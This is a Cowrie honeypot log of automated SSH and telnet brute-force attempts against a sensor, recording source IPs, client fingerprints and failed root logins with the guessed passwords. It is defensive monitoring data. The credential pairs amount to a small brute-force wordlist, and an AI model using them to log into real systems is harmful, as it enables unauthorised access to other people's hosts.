{"eventid":"cowrie.client.kex","hassh":"98ddc5604ef6a1006a2b49a58759fbe6","hasshAlgorithms":"curve25519-sha256@libssh.org,ecdh-sha2-nistp256,ecdh-sha2-nistp384,ecdh-sha2-nistp521,diffie-hellman-group14-sha1;aes128-gcm@openssh.com,chacha20-poly1305@openssh.com,aes128-ctr,aes192-ctr,aes256-ctr;hmac-sha2-256-etm@openssh.com,hmac-sha2-256,hmac-sha1,hmac-sha1-96;none","kexAlgs":["curve25519-sha256@libssh.org","ecdh-sha2-nistp256","ecdh-sha2-nistp384","ecdh-sha2-nistp521","diffie-hellman-group14-sha1"],"keyAlgs":["rsa-sha2-512-cert-v01@openssh.com","rsa-sha2-256-cert-v01@openssh.com","ssh-rsa-cert-v01@openssh.com","ssh-dss-cert-v01@openssh.com","ecdsa-sha2-nistp256-cert-v01@openssh.com","ecdsa-sha2-nistp384-cert-v01@openssh.com","ecdsa-sha2-nistp521-cert-v01@openssh.com","ssh-ed25519-cert-v01@openssh.com","ecdsa-sha2-nistp256","ecdsa-sha2-nistp384","ecdsa-sha2-nistp521","rsa-sha2-512","rsa-sha2-256","ssh-rsa","ssh-dss","ssh-ed25519"],"encCS":["aes128-gcm@openssh.com","chacha20-poly1305@openssh.com","aes128-ctr","aes192-ctr","aes256-ctr"],"macCS":["hmac-sha2-256-etm@openssh.com","hmac-sha2-256","hmac-sha1","hmac-sha1-96"],"compCS":["none"],"langCS":[""],"message":"SSH client hassh fingerprint: 98ddc5604ef6a1006a2b49a58759fbe6","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-06-19T18:42:30.756511Z","src_ip":"101.96.195.253","session":"dc3cc1abc9c2","protocol":"ssh"}
{"eventid":"cowrie.login.failed","username":"root","password":"vps","message":"login attempt [root/vps] failed","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-06-19T18:42:31.454887Z","src_ip":"101.96.195.253","session":"dc3cc1abc9c2","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":34.416605710983276,"message":"Connection lost after 34 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-06-19T18:42:32.460419Z","src_ip":"172.81.62.90","session":"bcfdbc7e9bcb","protocol":"telnet"}
{"eventid":"cowrie.session.closed","duration":"2.2","message":"Connection lost after 2.2 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-06-19T18:42:32.695976Z","src_ip":"101.96.195.253","session":"dc3cc1abc9c2","protocol":"ssh"}
{"eventid":"cowrie.session.connect","src_ip":"101.96.195.253","src_port":34856,"dst_ip":"10.17.0.5","dst_port":22,"session":"e25b2cedaf9a","protocol":"ssh","message":"New connection: 101.96.195.253:34856 (10.17.0.5:22) [session: e25b2cedaf9a]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-06-19T18:42:32.928915Z"}
{"eventid":"cowrie.client.version","version":"SSH-2.0-Go","message":"Remote SSH version: SSH-2.0-Go","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-06-19T18:42:32.933935Z","src_ip":"101.96.195.253","session":"e25b2cedaf9a","protocol":"ssh"}
{"eventid":"cowrie.client.kex","hassh":"98ddc5604ef6a1006a2b49a58759fbe6","hasshAlgorithms":"curve25519-sha256@libssh.org,ecdh-sha2-nistp256,ecdh-sha2-nistp384,ecdh-sha2-nistp521,diffie-hellman-group14-sha1;aes128-gcm@openssh.com,chacha20-poly1305@openssh.com,aes128-ctr,aes192-ctr,aes256-ctr;hmac-sha2-256-etm@openssh.com,hmac-sha2-256,hmac-sha1,hmac-sha1-96;none","kexAlgs":["curve25519-sha256@libssh.org","ecdh-sha2-nistp256","ecdh-sha2-nistp384","ecdh-sha2-nistp521","diffie-hellman-group14-sha1"],"keyAlgs":["rsa-sha2-512-cert-v01@openssh.com","rsa-sha2-256-cert-v01@openssh.com","ssh-rsa-cert-v01@openssh.com","ssh-dss-cert-v01@openssh.com","ecdsa-sha2-nistp256-cert-v01@openssh.com","ecdsa-sha2-nistp384-cert-v01@openssh.com","ecdsa-sha2-nistp521-cert-v01@openssh.com","ssh-ed25519-cert-v01@openssh.com","ecdsa-sha2-nistp256","ecdsa-sha2-nistp384","ecdsa-sha2-nistp521","rsa-sha2-512","rsa-sha2-256","ssh-rsa","ssh-dss","ssh-ed25519"],"encCS":["aes128-gcm@openssh.com","chacha20-poly1305@openssh.com","aes128-ctr","aes192-ctr","aes256-ctr"],"macCS":["hmac-sha2-256-etm@openssh.com","hmac-sha2-256","hmac-sha1","hmac-sha1-96"],"compCS":["none"],"langCS":[""],"message":"SSH client hassh fingerprint: 98ddc5604ef6a1006a2b49a58759fbe6","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-06-19T18:42:33.171966Z","src_ip":"101.96.195.253","session":"e25b2cedaf9a","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":49.43097519874573,"message":"Connection lost after 49 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-06-19T18:42:33.264730Z","src_ip":"128.199.8.54","session":"d2101348be5b","protocol":"telnet"}
{"eventid":"cowrie.login.failed","username":"root","password":"host","message":"login attempt [root/host] failed","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-06-19T18:42:33.872495Z","src_ip":"101.96.195.253","session":"e25b2cedaf9a","protocol":"ssh"}
{"eventid":"cowrie.session.connect","src_ip":"103.172.78.219","src_port":38966,"dst_ip":"159.203.135.109","dst_port":22,"session":"b584df91c163","protocol":"ssh","message":"New connection: 103.172.78.219:38966 (159.203.135.109:22) [session: b584df91c163]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-06-19T18:42:36.016953Z"}
{"eventid":"cowrie.client.version","version":"SSH-2.0-Go","message":"Remote SSH version: SSH-2.0-Go","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-06-19T18:42:36.021564Z","src_ip":"103.172.78.219","session":"b584df91c163","protocol":"ssh"}
{"eventid":"cowrie.session.connect","src_ip":"163.7.9.84","src_port":57224,"dst_ip":"10.17.0.5","dst_port":22,"session":"b56b08618475","protocol":"ssh","message":"New connection: 163.7.9.84:57224 (10.17.0.5:22) [session: b56b08618475]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-06-19T18:42:36.174463Z"}
{"eventid":"cowrie.client.version","version":"SSH-2.0-libssh_0.9.6","message":"Remote SSH version: SSH-2.0-libssh_0.9.6","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-06-19T18:42:36.178941Z","src_ip":"163.7.9.84","session":"b56b08618475","protocol":"ssh"}
{"eventid":"cowrie.client.kex","hassh":"16443846184eafde36765c9bab2f4397","hasshAlgorithms":"mlkem768x25519-sha256,curve25519-sha256,curve25519-sha256@libssh.org,ecdh-sha2-nistp256,ecdh-sha2-nistp384,ecdh-sha2-nistp521,diffie-hellman-group14-sha256,diffie-hellman-group14-sha1,ext-info-c,kex-strict-c-v00@openssh.com;aes128-gcm@openssh.com,aes256-gcm@openssh.com,chacha20-poly1305@openssh.com,aes128-ctr,aes192-ctr,aes256-ctr;hmac-sha2-256-etm@openssh.com,hmac-sha2-512-etm@openssh.com,hmac-sha2-256,hmac-sha2-512,hmac-sha1,hmac-sha1-96;none","kexAlgs":["mlkem768x25519-sha256","curve25519-sha256","curve25519-sha256@libssh.org","ecdh-sha2-nistp256","ecdh-sha2-nistp384","ecdh-sha2-nistp521","diffie-hellman-group14-sha256","diffie-hellman-group14-sha1","ext-info-c","kex-strict-c-v00@openssh.com"],"keyAlgs":["rsa-sha2-256-cert-v01@openssh.com","rsa-sha2-512-cert-v01@openssh.com","ssh-rsa-cert-v01@openssh.com","ssh-dss-cert-v01@openssh.com","ecdsa-sha2-nistp256-cert-v01@openssh.com","ecdsa-sha2-nistp384-cert-v01@openssh.com","ecdsa-sha2-nistp521-cert-v01@openssh.com","ssh-ed25519-cert-v01@openssh.com","ecdsa-sha2-nistp256","ecdsa-sha2-nistp384","ecdsa-sha2-nistp521","rsa-sha2-256","rsa-sha2-512","ssh-rsa","ssh-dss","ssh-ed25519"],"encCS":["aes128-gcm@openssh.com","aes256-gcm@openssh.com","chacha20-poly1305@openssh.com","aes128-ctr","aes192-ctr","aes256-ctr"],"macCS":["hmac-sha2-256-etm@openssh.com","hmac-sha2-512-etm@openssh.com","hmac-sha2-256","hmac-sha2-512","hmac-sha1","hmac-sha1-96"],"compCS":["none"],"langCS":[""],"message":"SSH client hassh fingerprint: 16443846184eafde36765c9bab2f4397","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-06-19T18:42:36.271161Z","src_ip":"103.172.78.219","session":"b584df91c163","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":"3.3","message":"Connection lost after 3.3 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-06-19T18:42:36.279360Z","src_ip":"101.96.195.253","session":"e25b2cedaf9a","protocol":"ssh"}
{"eventid":"cowrie.client.kex","hassh":"f555226df1963d1d3c09daf865abdc9a","hasshAlgorithms":"curve25519-sha256,curve25519-sha256@libssh.org,ecdh-sha2-nistp256,ecdh-sha2-nistp384,ecdh-sha2-nistp521,diffie-hellman-group18-sha512,diffie-hellman-group16-sha512,diffie-hellman-group-exchange-sha256,diffie-hellman-group14-sha256,diffie-hellman-group14-sha1,diffie-hellman-group1-sha1,ext-info-c;aes256-gcm@openssh.com,aes128-gcm@openssh.com,aes256-ctr,aes192-ctr,aes128-ctr,aes256-cbc,aes192-cbc,aes128-cbc,3des-cbc;hmac-sha2-256-etm@openssh.com,hmac-sha2-512-etm@openssh.com,hmac-sha1-etm@openssh.com,hmac-sha2-256,hmac-sha2-512,hmac-sha1;none","kexAlgs":["curve25519-sha256","curve25519-sha256@libssh.org","ecdh-sha2-nistp256","ecdh-sha2-nistp384","ecdh-sha2-nistp521","diffie-hellman-group18-sha512","diffie-hellman-group16-sha512","diffie-hellman-group-exchange-sha256","diffie-hellman-group14-sha256","diffie-hellman-group14-sha1","diffie-hellman-group1-sha1","ext-info-c"],"keyAlgs":["ssh-ed25519","ecdsa-sha2-nistp521","ecdsa-sha2-nistp384","ecdsa-sha2-nistp256","rsa-sha2-512","rsa-sha2-256","ssh-rsa","ssh-dss"],"encCS":["aes256-gcm@openssh.com","aes128-gcm@openssh.com","aes256-ctr","aes192-ctr","aes128-ctr","aes256-cbc","aes192-cbc","aes128-cbc","3des-cbc"],"macCS":["hmac-sha2-256-etm@openssh.com","hmac-sha2-512-etm@openssh.com","hmac-sha1-etm@openssh.com","hmac-sha2-256","hmac-sha2-512","hmac-sha1"],"compCS":["none"],"langCS":[""],"message":"SSH client hassh fingerprint: f555226df1963d1d3c09daf865abdc9a","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-06-19T18:42:36.436024Z","src_ip":"163.7.9.84","session":"b56b08618475","protocol":"ssh"}
{"eventid":"cowrie.login.failed","username":"root","password":"11101993","message":"login attempt [root/11101993] failed","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-06-19T18:42:37.020977Z","src_ip":"103.172.78.219","session":"b584df91c163","protocol":"ssh"}
{"eventid":"cowrie.login.failed","username":"myftp","password":"123","message":"login attempt [myftp/123] failed","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-06-19T18:42:37.499414Z","src_ip":"163.7.9.84","session":"b56b08618475","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":"2.3","message":"Connection lost after 2.3 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-06-19T18:42:38.273920Z","src_ip":"103.172.78.219","session":"b584df91c163","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":"2.6","message":"Connection lost after 2.6 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-06-19T18:42:38.760836Z","src_ip":"163.7.9.84","session":"b56b08618475","protocol":"ssh"}
{"eventid":"cowrie.session.connect","src_ip":"14.63.196.175","src_port":56930,"dst_ip":"159.203.135.109","dst_port":22,"session":"88302dcabd71","protocol":"ssh","message":"New connection: 14.63.196.175:56930 (159.203.135.109:22) [session: 88302dcabd71]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-06-19T18:42:43.181684Z"}
{"eventid":"cowrie.client.version","version":"SSH-2.0-libssh_0.11.1","message":"Remote SSH version: SSH-2.0-libssh_0.11.1","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-06-19T18:42:43.186184Z","src_ip":"14.63.196.175","session":"88302dcabd71","protocol":"ssh"}
{"eventid":"cowrie.client.kex","hassh":"03a80b21afa810682a776a7d42e5e6fb","hasshAlgorithms":"curve25519-sha256,curve25519-sha256@libssh.org,ecdh-sha2-nistp256,ecdh-sha2-nistp384,ecdh-sha2-nistp521,diffie-hellman-group18-sha512,diffie-hellman-group16-sha512,diffie-hellman-group-exchange-sha256,diffie-hellman-group14-sha256,ext-info-c,kex-strict-c-v00@openssh.com;chacha20-poly1305@openssh.com,aes256-gcm@openssh.com,aes128-gcm@openssh.com,aes256-ctr,aes192-ctr,aes128-ctr;hmac-sha2-256-etm@openssh.com,hmac-sha2-512-etm@openssh.com,hmac-sha2-256,hmac-sha2-512;none,zlib@openssh.com","kexAlgs":["curve25519-sha256","curve25519-sha256@libssh.org","ecdh-sha2-nistp256","ecdh-sha2-nistp384","ecdh-sha2-nistp521","diffie-hellman-group18-sha512","diffie-hellman-group16-sha512","diffie-hellman-group-exchange-sha256","diffie-hellman-group14-sha256","ext-info-c","kex-strict-c-v00@openssh.com"],"keyAlgs":["ssh-ed25519","ecdsa-sha2-nistp521","ecdsa-sha2-nistp384","ecdsa-sha2-nistp256","sk-ssh-ed25519@openssh.com","sk-ecdsa-sha2-nistp256@openssh.com","rsa-sha2-512","rsa-sha2-256"],"encCS":["chacha20-poly1305@openssh.com","aes256-gcm@openssh.com","aes128-gcm@openssh.com","aes256-ctr","aes192-ctr","aes128-ctr"],"macCS":["hmac-sha2-256-etm@openssh.com","hmac-sha2-512-etm@openssh.com","hmac-sha2-256","hmac-sha2-512"],"compCS":["none","zlib@openssh.com"],"langCS":[""],"message":"SSH client hassh fingerprint: 03a80b21afa810682a776a7d42e5e6fb","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-06-19T18:42:43.392694Z","src_ip":"14.63.196.175","session":"88302dcabd71","protocol":"ssh"}
{"eventid":"cowrie.login.failed","username":"root","password":"Pp123456!","message":"login attempt [root/Pp123456!] failed","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-06-19T18:42:44.257394Z","src_ip":"14.63.196.175","session":"88302dcabd71","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":"2.3","message":"Connection lost after 2.3 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-06-19T18:42:45.466992Z","src_ip":"14.63.196.175","session":"88302dcabd71","protocol":"ssh"}
{"eventid":"cowrie.session.connect","src_ip":"109.237.96.109","src_port":35580,"dst_ip":"159.203.135.109","dst_port":22,"session":"c497a9354d5c","protocol":"ssh","message":"New connection: 109.237.96.109:35580 (159.203.135.109:22) [session: c497a9354d5c]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-06-19T18:42:55.589392Z"}
{"eventid":"cowrie.client.version","version":"SSH-2.0-Go","message":"Remote SSH version: SSH-2.0-Go","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-06-19T18:42:55.596130Z","src_ip":"109.237.96.109","session":"c497a9354d5c","protocol":"ssh"}
{"eventid":"cowrie.client.kex","hassh":"16443846184eafde36765c9bab2f4397","hasshAlgorithms":"mlkem768x25519-sha256,curve25519-sha256,curve25519-sha256@libssh.org,ecdh-sha2-nistp256,ecdh-sha2-nistp384,ecdh-sha2-nistp521,diffie-hellman-group14-sha256,diffie-hellman-group14-sha1,ext-info-c,kex-strict-c-v00@openssh.com;aes128-gcm@openssh.com,aes256-gcm@openssh.com,chacha20-poly1305@openssh.com,aes128-ctr,aes192-ctr,aes256-ctr;hmac-sha2-256-etm@openssh.com,hmac-sha2-512-etm@openssh.com,hmac-sha2-256,hmac-sha2-512,hmac-sha1,hmac-sha1-96;none","kexAlgs":["mlkem768x25519-sha256","curve25519-sha256","curve25519-sha256@libssh.org","ecdh-sha2-nistp256","ecdh-sha2-nistp384","ecdh-sha2-nistp521","diffie-hellman-group14-sha256","diffie-hellman-group14-sha1","ext-info-c","kex-strict-c-v00@openssh.com"],"keyAlgs":["rsa-sha2-256-cert-v01@openssh.com","rsa-sha2-512-cert-v01@openssh.com","ssh-rsa-cert-v01@openssh.com","ssh-dss-cert-v01@openssh.com","ecdsa-sha2-nistp256-cert-v01@openssh.com","ecdsa-sha2-nistp384-cert-v01@openssh.com","ecdsa-sha2-nistp521-cert-v01@openssh.com","ssh-ed25519-cert-v01@openssh.com","ecdsa-sha2-nistp256","ecdsa-sha2-nistp384","ecdsa-sha2-nistp521","rsa-sha2-256","rsa-sha2-512","ssh-rsa","ssh-dss","ssh-ed25519"],"encCS":["aes128-gcm@openssh.com","aes256-gcm@openssh.com","chacha20-poly1305@openssh.com","aes128-ctr","aes192-ctr","aes256-ctr"],"macCS":["hmac-sha2-256-etm@openssh.com","hmac-sha2-512-etm@openssh.com","hmac-sha2-256","hmac-sha2-512","hmac-sha1","hmac-sha1-96"],"compCS":["none"],"langCS":[""],"message":"SSH client hassh fingerprint: 16443846184eafde36765c9bab2f4397","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-06-19T18:42:55.680119Z","src_ip":"109.237.96.109","session":"c497a9354d5c","protocol":"ssh"}
{"eventid":"cowrie.login.failed","username":"root","password":"leto2011","message":"login attempt [root/leto2011] failed","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-06-19T18:42:55.932939Z","src_ip":"109.237.96.109","session":"c497a9354d5c","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":"1.4","message":"Connection lost after 1.4 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-06-19T18:42:57.022286Z","src_ip":"109.237.96.109","session":"c497a9354d5c","protocol":"ssh"}
{"eventid":"cowrie.session.connect","src_ip":"181.188.176.242","src_port":45268,"dst_ip":"10.17.0.5","dst_port":22,"session":"accd4454e9b9","protocol":"ssh","message":"New connection: 181.188.176.242:45268 (10.17.0.5:22) [session: accd4454e9b9]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-06-19T18:42:59.868348Z"}
{"eventid":"cowrie.client.version","version":"SSH-2.0-libssh_0.9.6","message":"Remote SSH version: SSH-2.0-libssh_0.9.6","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-06-19T18:42:59.872941Z","src_ip":"181.188.176.242","session":"accd4454e9b9","protocol":"ssh"}
{"eventid":"cowrie.client.kex","hassh":"f555226df1963d1d3c09daf865abdc9a","hasshAlgorithms":"curve25519-sha256,curve25519-sha256@libssh.org,ecdh-sha2-nistp256,ecdh-sha2-nistp384,ecdh-sha2-nistp521,diffie-hellman-group18-sha512,diffie-hellman-group16-sha512,diffie-hellman-group-exchange-sha256,diffie-hellman-group14-sha256,diffie-hellman-group14-sha1,diffie-hellman-group1-sha1,ext-info-c;aes256-gcm@openssh.com,aes128-gcm@openssh.com,aes256-ctr,aes192-ctr,aes128-ctr,aes256-cbc,aes192-cbc,aes128-cbc,3des-cbc;hmac-sha2-256-etm@openssh.com,hmac-sha2-512-etm@openssh.com,hmac-sha1-etm@openssh.com,hmac-sha2-256,hmac-sha2-512,hmac-sha1;none","kexAlgs":["curve25519-sha256","curve25519-sha256@libssh.org","ecdh-sha2-nistp256","ecdh-sha2-nistp384","ecdh-sha2-nistp521","diffie-hellman-group18-sha512","diffie-hellman-group16-sha512","diffie-hellman-group-exchange-sha256","diffie-hellman-group14-sha256","diffie-hellman-group14-sha1","diffie-hellman-group1-sha1","ext-info-c"],"keyAlgs":["ssh-ed25519","ecdsa-sha2-nistp521","ecdsa-sha2-nistp384","ecdsa-sha2-nistp256","rsa-sha2-512","rsa-sha2-256","ssh-rsa","ssh-dss"],"encCS":["aes256-gcm@openssh.com","aes128-gcm@openssh.com","aes256-ctr","aes192-ctr","aes128-ctr","aes256-cbc","aes192-cbc","aes128-cbc","3des-cbc"],"macCS":["hmac-sha2-256-etm@openssh.com","hmac-sha2-512-etm@openssh.com","hmac-sha1-etm@openssh.com","hmac-sha2-256","hmac-sha2-512","hmac-sha1"],"compCS":["none"],"langCS":[""],"message":"SSH client hassh fingerprint: f555226df1963d1d3c09daf865abdc9a","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-06-19T18:43:00.041700Z","src_ip":"181.188.176.242","session":"accd4454e9b9","protocol":"ssh"}
{"eventid":"cowrie.login.failed","username":"root","password":"qqq123","message":"login attempt [root/qqq123] failed","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-06-19T18:43:00.753142Z","src_ip":"181.188.176.242","session":"accd4454e9b9","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":"2.1","message":"Connection lost after 2.1 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-06-19T18:43:01.925977Z","src_ip":"181.188.176.242","session":"accd4454e9b9","protocol":"ssh"}
{"eventid":"cowrie.session.connect","src_ip":"193.37.70.224","src_port":56390,"dst_ip":"159.203.135.109","dst_port":22,"session":"59faff563f78","protocol":"ssh","message":"New connection: 193.37.70.224:56390 (159.203.135.109:22) [session: 59faff563f78]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-06-19T18:43:21.176797Z"}
{"eventid":"cowrie.client.version","version":"SSH-2.0-Go","message":"Remote SSH version: SSH-2.0-Go","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-06-19T18:43:21.182227Z","src_ip":"193.37.70.224","session":"59faff563f78","protocol":"ssh"}
{"eventid":"cowrie.client.kex","hassh":"16443846184eafde36765c9bab2f4397","hasshAlgorithms":"mlkem768x25519-sha256,curve25519-sha256,curve25519-sha256@libssh.org,ecdh-sha2-nistp256,ecdh-sha2-nistp384,ecdh-sha2-nistp521,diffie-hellman-group14-sha256,diffie-hellman-group14-sha1,ext-info-c,kex-strict-c-v00@openssh.com;aes128-gcm@openssh.com,aes256-gcm@openssh.com,chacha20-poly1305@openssh.com,aes128-ctr,aes192-ctr,aes256-ctr;hmac-sha2-256-etm@openssh.com,hmac-sha2-512-etm@openssh.com,hmac-sha2-256,hmac-sha2-512,hmac-sha1,hmac-sha1-96;none","kexAlgs":["mlkem768x25519-sha256","curve25519-sha256","curve25519-sha256@libssh.org","ecdh-sha2-nistp256","ecdh-sha2-nistp384","ecdh-sha2-nistp521","diffie-hellman-group14-sha256","diffie-hellman-group14-sha1","ext-info-c","kex-strict-c-v00@openssh.com"],"keyAlgs":["rsa-sha2-256-cert-v01@openssh.com","rsa-sha2-512-cert-v01@openssh.com","ssh-rsa-cert-v01@openssh.com","ssh-dss-cert-v01@openssh.com","ecdsa-sha2-nistp256-cert-v01@openssh.com","ecdsa-sha2-nistp384-cert-v01@openssh.com","ecdsa-sha2-nistp521-cert-v01@openssh.com","ssh-ed25519-cert-v01@openssh.com","ecdsa-sha2-nistp256","ecdsa-sha2-nistp384","ecdsa-sha2-nistp521","rsa-sha2-256","rsa-sha2-512","ssh-rsa","ssh-dss","ssh-ed25519"],"encCS":["aes128-gcm@openssh.com","aes256-gcm@openssh.com","chacha20-poly1305@openssh.com","aes128-ctr","aes192-ctr","aes256-ctr"],"macCS":["hmac-sha2-256-etm@openssh.com","hmac-sha2-512-etm@openssh.com","hmac-sha2-256","hmac-sha2-512","hmac-sha1","hmac-sha1-96"],"compCS":["none"],"langCS":[""],"message":"SSH client hassh fingerprint: 16443846184eafde36765c9bab2f4397","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-06-19T18:43:21.272804Z","src_ip":"193.37.70.224","session":"59faff563f78","protocol":"ssh"}
{"eventid":"cowrie.login.failed","username":"root","password":"marina1991","message":"login attempt [root/marina1991] failed","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-06-19T18:43:21.542684Z","src_ip":"193.37.70.224","session":"59faff563f78","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":"1.5","message":"Connection lost after 1.5 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-06-19T18:43:22.636443Z","src_ip":"193.37.70.224","session":"59faff563f78","protocol":"ssh"}
{"eventid":"cowrie.session.connect","src_ip":"152.32.214.226","src_port":49718,"dst_ip":"159.203.135.109","dst_port":22,"session":"d974f0006bff","protocol":"ssh","message":"New connection: 152.32.214.226:49718 (159.203.135.109:22) [session: d974f0006bff]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-06-19T18:43:26.003365Z"}
{"eventid":"cowrie.client.version","version":"SSH-2.0-libssh_0.9.6","message":"Remote SSH version: SSH-2.0-libssh_0.9.6","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-06-19T18:43:26.008540Z","src_ip":"152.32.214.226","session":"d974f0006bff","protocol":"ssh"}
{"eventid":"cowrie.client.kex","hassh":"f555226df1963d1d3c09daf865abdc9a","hasshAlgorithms":"curve25519-sha256,curve25519-sha256@libssh.org,ecdh-sha2-nistp256,ecdh-sha2-nistp384,ecdh-sha2-nistp521,diffie-hellman-group18-sha512,diffie-hellman-group16-sha512,diffie-hellman-group-exchange-sha256,diffie-hellman-group14-sha256,diffie-hellman-group14-sha1,diffie-hellman-group1-sha1,ext-info-c;aes256-gcm@openssh.com,aes128-gcm@openssh.com,aes256-ctr,aes192-ctr,aes128-ctr,aes256-cbc,aes192-cbc,aes128-cbc,3des-cbc;hmac-sha2-256-etm@openssh.com,hmac-sha2-512-etm@openssh.com,hmac-sha1-etm@openssh.com,hmac-sha2-256,hmac-sha2-512,hmac-sha1;none","kexAlgs":["curve25519-sha256","curve25519-sha256@libssh.org","ecdh-sha2-nistp256","ecdh-sha2-nistp384","ecdh-sha2-nistp521","diffie-hellman-group18-sha512","diffie-hellman-group16-sha512","diffie-hellman-group-exchange-sha256","diffie-hellman-group14-sha256","diffie-hellman-group14-sha1","diffie-hellman-group1-sha1","ext-info-c"],"keyAlgs":["ssh-ed25519","ecdsa-sha2-nistp521","ecdsa-sha2-nistp384","ecdsa-sha2-nistp256","rsa-sha2-512","rsa-sha2-256","ssh-rsa","ssh-dss"],"encCS":["aes256-gcm@openssh.com","aes128-gcm@openssh.com","aes256-ctr","aes192-ctr","aes128-ctr","aes256-cbc","aes192-cbc","aes128-cbc","3des-cbc"],"macCS":["hmac-sha2-256-etm@openssh.com","hmac-sha2-512-etm@openssh.com","hmac-sha1-etm@openssh.com","hmac-sha2-256","hmac-sha2-512","hmac-sha1"],"compCS":["none"],"langCS":[""],"message":"SSH client hassh fingerprint: f555226df1963d1d3c09daf865abdc9a","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-06-19T18:43:26.225160Z","src_ip":"152.32.214.226","session":"d974f0006bff","protocol":"ssh"}
